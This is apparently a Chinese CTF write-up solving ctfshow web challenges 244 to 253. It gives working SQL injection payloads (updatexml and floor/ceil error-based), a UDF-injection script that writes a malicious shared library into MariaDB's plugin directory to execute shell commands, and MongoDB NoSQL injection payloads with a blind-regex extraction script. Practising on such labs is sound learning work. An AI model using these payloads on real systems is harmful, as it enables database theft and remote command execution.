?id=1'or updatexml(1,concat(0x7e,mid((select group_concat(flag) from ctfshow_flag),1,32),0x7e),1)--+

可是发现报错信息里的flag是不完整的,只显示了32位。原因应该是超出了报错内容长度的最高限制。那我们使用substr或者mid截取后面的字符串补齐即可
?id=1'or updatexml(1,concat(0x7e,mid((select group_concat(flag) from ctfshow_flag),1,32),0x7e),1)--+
?id=1'or updatexml(1,concat(0x7e,mid((select group_concat(flag) from ctfshow_flag),32,32),0x7e),1)--+

最终flag为:
ctfshow{eb2e8733-22ef-4707-98d4-4b1261922dfc}
web245

这一次将updatexml给过滤了。
报错注入主要有三种方式:
- updatexml报错注入
- floor报错注入
- extractvalue报错注入
这里我们采用floor报错注入
查询表名
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))x from information_schema.tables group by x)a)--+

查询列名
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))x from information_schema.tables group by x)a)--+

获取字段值
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select flag1 from ctfshow_flagsa))x from information_schema.tables group by x)a)--+

web246

这一次又把extractvalue给过滤了。使用floor报错注入即可
获取表名
使用下面这个payload会有点问题
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))x from information_schema.tables group by x)a)--+
报错内容
{"code":0,"msg":"Subquery returns more than 1 row","count":1,"data":[]}
意思是子查询结果超出一行,我们可以使用limit一行一行看
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))x from information_schema.tables group by x)a)--+

查询列名
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1))x from information_schema.tables group by x)a)--+

获取字段值
?id=1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(select flag2 from ctfshow_flags limit 0,1))x from information_schema.tables group by x)a)--+

web247

将floor也给过滤了。
floor的作用其实就是向下取整,找别的取整函数即可,比如round/ceil。
查表名
?id=1' or (select 1 from(select count(*),concat(ceil(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))x from information_schema.tables group by x)a)--+

查列名
?id=1' or (select 1 from(select count(*),concat(ceil(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1))x from information_schema.tables group by x)a)--+

获取字段值
?id=1' or (select 1 from(select count(*),concat(ceil(rand(0)*2),0x7e,(select flag? from ctfshow_flagsa limit 0,1))x from information_schema.tables group by x)a)--+
这里flag的字段名其实就是flag?,但是这个payload提交会报语法错误

用反引号包围flag?即可
?id=1' or (select 1 from(select count(*),concat(ceil(rand(0)*2),0x7e,(select `flag?` from ctfshow_flagsa limit 0,1))x from information_schema.tables group by x)a)--+

web248(UDF注入)

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
我们需要将 UDF 的[动态链接库文件](xxx.dll文件)放到 MySQL 的检索目录下才能创建自定义函数,对于不同版本的 mysql,检索目录是不同的:
可以使用堆叠注入查看数据库版本以及plugin 目录路径:
/api/?id=0';select version();%23
/api/?id=0';select @@plugin_dir;%23

我们知道了写入位置是:/usr/lib/mariadb/plugin/
接下来我们需要从udf文件中引入自定义函数,然后执行自定义函数
create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');
sqlmap中有现成的恶意udf文件,也可以通过国光师傅的博客
使用第四个即可

但是这里是使用的get传参,然而浏览器对url的长度有限制,这么长的payload显然会超出限制。所以我们采用分段写入,最后通过concat和load_file将分段的内容结合起来写入最终的hack.so。
下面附上yu师傅的脚本
import requests
url="http://45807b9d-57b7-4960-bb51-6d8cbfde0ad4.challenge.ctf.show/api/"
# 将0x后面的十六进制字符串写入udf变量
udf=""
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)
#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)
#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

web249(nosql注入开始)

这一次只有一条
$user = $memcache->get($id);
从 Memcached 缓存中获取一个键为 $id 的数据,并将其赋值给变量 $user
上网查询了下,发现是memcache缓存数据库。
在php中的用法如下:
$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();
但是直接传flag发现不行
/api/?id=flag

尝试数组绕过
/api/?id[]=flag

web250

显然使用的是mongodb数据库。
详细教程:https://www.runoob.com/mongodb/

有关具体的数据库和集合的操作可以看教程自学,这里便着重介绍一下mongodb的条件操作符,以及查询语句

AND 查询
db.userinfo.find({key1:value1, key2:value2})
OR 查询
db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})
比如查找年龄等于 25 的人:
db.collection.find({ age: { $eq: 25 } })
类似于
where age=25
永真表达式
在本题中我们可以传入下面这个payload
username[$ne]=1&password[$ne]=1
[$ne] 为 !=
那么这里传入的语句是什么呢
'name' => array('$ne'=> 1), 'password' => array('$ne'=>1)
mongodb 的查询语句 就变为了
db.admin.find({'username':{$ne:1}, 'password':{$ne:1}})
等同于
where username!=1 and password !=1
只要这两个不为1便都能查出
payload:
username[$ne]=1&password[$ne]=1

成功获得flag
web251
依旧是上一题的模板
尝试上一关的payload

只拿到了admin的密码,拿来登录试试。

成功登录但是并没有flag。
尝试查询不是admin的用户
username[$ne]=admin&password[$ne]=1

web252

继续尝试上一关的payload

变成admin,它一次查询只能查出一行。我们可以使用$gt大于,一直往上查。
username[$gt]=admin4&password[$ne]=1
查到flag

web253
这一题测试发现是没有回显的

但是会有登录成功与登录失败两种状态,那么便可以使用bool盲注。
那么如何进行盲注呢?可以使用$regex进行正则匹配,由于flag肯定以ctfshow开头,我们匹配以ctfshow开头的即可
username[$ne]=1&password[$regex]=^ctfshow


可以发现回显确实不同。
盲注脚本:
import requests
import string
url = "http://c88c5c51-eda4-4d39-982e-79564fdbb947.challenge.ctf.show/api/"
dic = "0123456789-abcdef}"
flag = "ctfshow{"
for i in range(1,50):
print(i)
for j in dic:
payload = {'username[$ne]':'1' , 'password[$regex]':f'^{flag+j}'}
r=requests.post(url,data=payload)
if "\\u767b\\u9646\\u6210\\u529f" in r.text:
flag+=j
print(flag)
break
if flag.endswith("}"):
exit()

终于将这一板块刷完了,太不容易了。同时也感概出题质量是真的不错,又学到了很多东西。